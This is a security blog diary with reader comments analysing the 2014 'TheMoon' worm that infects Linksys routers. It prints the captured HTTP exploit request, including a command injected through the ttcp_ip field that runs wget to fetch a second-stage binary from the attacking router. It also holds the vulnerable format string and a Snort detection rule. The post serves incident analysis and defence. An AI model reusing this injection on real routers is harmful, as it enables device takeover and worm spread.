Linksys Worm ("TheMoon") Captured
Assistance needed:
- If you have a vulnerable device that is infected, we could use full packet captures from that device. I am still trying to find out more about the command and control channel (if it exists).
- if you have experience reverse engineering MIPS malware, ask me for a sample (use the contact form.)
One important update: This affects other Linksys routers as well. For example, we do have some routers conecting to the honeypot that identify themselves as E2500 (Firmware 1.0.03 build 4)
Finally our honeypot did capture something that looks like it is responsible for the scanning activity we see:
The initial request, as discussed earlier, is:
POST /[withheld].cgi HTTP/1.1 Host: [ip of honeypot]:8080 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ip of honeypot]:8080/ Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH <- username: admin password: &i1*@U$6xvcG (still trying to figure out the significance of this password) Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 518 %73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63 %74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f %6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74 %63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63 %64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20 %5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e %xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69 %64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31
submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2 &ttcp_ip=-h `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi` &StartEPI=1
So it looks like it will try to download a "second stage" from port 193 from the attacking router. The ".L26" file appears to be a lock file to prevent multiple exploitation.
I am withholding the full URL for now until I can figure out if there is a patch or if this is a public/known exploit.
The port appears to change but is always < 1024. The second stage binary si always three letters and then a "random" extension.
Here are the MD5s of some of the binaries I retrieved so far. They are ELF binaries . If anybody would like to assist in reversing them, please contact me for a sample.
d9547024ace9d91037cbeee5161df33e 0dQ.png
a85e4a90a7b303155477ee1697995a43 Dsn.raw
88a5c5f9c5de5ba612ec96682d61c7bb EXr.pdf
ef19de47b051cb01928cab1a4f3eaa0e Osn.asc
file type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Application Security: Securing Web Apps, APIs, and Microservices | Online | US Eastern | Jan 27th - Feb 1st 2025 |
Comments
75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.193/" "Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1"
75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195:8080/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7"
75.69.x.x - admin [13/Feb/2014:10:15:04 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.198/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]"
75.69.x.x - admin [13/Feb/2014:10:15:10 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x"
I wonder if the port for stage2 is always 193? From once source I get Connection Refused, from another I get Connection Timed Out although both their port 80's are still reachable.
I hope that password mentioned isn't another case of hard-coded credentials to debug stuff on the router.
Anonymous
Feb 13th 2014
1 decade ago
http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf
So it looks like they snag the credentials in the initial attempt and then post back with those credentials on the second request causing the second stage to be executed.
Like I had mentioned here.... https://isc.sans.edu/forums/diary/Suspected+Mass+Exploit+Against+Linksys+E1000+E1200+Routers/17621/1#29684
I believe the second stage is using a technique described in a blog post by one of my co-workers back in March of 2013...
http://blog.spiderlabs.com/2013/05/under-the-hood-linksys-remote-command-injection-vulnerabilities.html
Anonymous
Feb 13th 2014
1 decade ago
- all useragents match your list
- oldest hit was in August 2013 (previous hits in July didn't use the "admin" password)
- Linksys models involved in the scanning include not only E1000 and E1200, but also E1500, E2500, E3200 and E4200 (full list with firmware versions http://zaufanatrzeciastrona.pl/post/internetowy-robak-infekuje-niezabezpieczone-rutery-linksysa/)
Anonymous
Feb 13th 2014
1 decade ago
epi_ttcp is being called by the usr/sbin/httpd without checking/validating the parameters being passed.
"epi_ttcp -tsufm -l %s -n %s %s &", ttcp_size, ttcp_num, ttcp_ip
So its a similar issue as what was disclosed in May 2013, but instead of exploiting a problem with the ping test part of the code its in the ttcp section in Start_epi function inside httpd.
Anonymous
Feb 13th 2014
1 decade ago
76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "\x80w\x01\x03\x01" 400 294 "-" "-" "-" "-" "-" "37382"
76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "GET /HNAP1/ HTTP/1.1" 404 225 "http://[host-ip]/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" "en-US,en;q=0.5" "gzip, deflate" "37384"
So the binding to openssl may be for command and control but it also may be there to allow the malware to try to talk to routers that have the SSL enabled for their remove management web connection.
Anonymous
Feb 13th 2014
1 decade ago
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP HNAP admin brute force login attempt"; flow:established,to_server; content:"GET|20 2f|HNAP1|2f 20|HTTP|2f|1.1|0d 0a|"; fast_pattern:only; content:"Authorization|3a 20|Basic YWRtaW46"; http_header;metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http;reference:url,www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf; classtype:bad-unknown; sid:10000112; rev:2;)
Anonymous
Feb 13th 2014
1 decade ago
@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.
@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.
Anonymous
Feb 13th 2014
1 decade ago
Anonymous
Feb 13th 2014
1 decade ago
@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.
@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.[/quote]
Yeah I realized they were using a mechanism to bypass proper authentication this time around. But do see evidence of this method of cmd line injection against the start_epi function with "user=blank,passwd=admin" being attempted back over a year ago. Which means they were trying this against those who hadn't changed their default passwords.
Anonymous
Feb 13th 2014
1 decade ago
It appears that even more Linksys models are vulnerable to the exploit used by this worm than have been mentioned.... The WRT160N appears to succumb to the same method of penetration (even if the password has been changed from the default), as do the E800 and E900 and the Valet series. Please keep up the good work and let me know how I can assist.
Anonymous
Feb 13th 2014
1 decade ago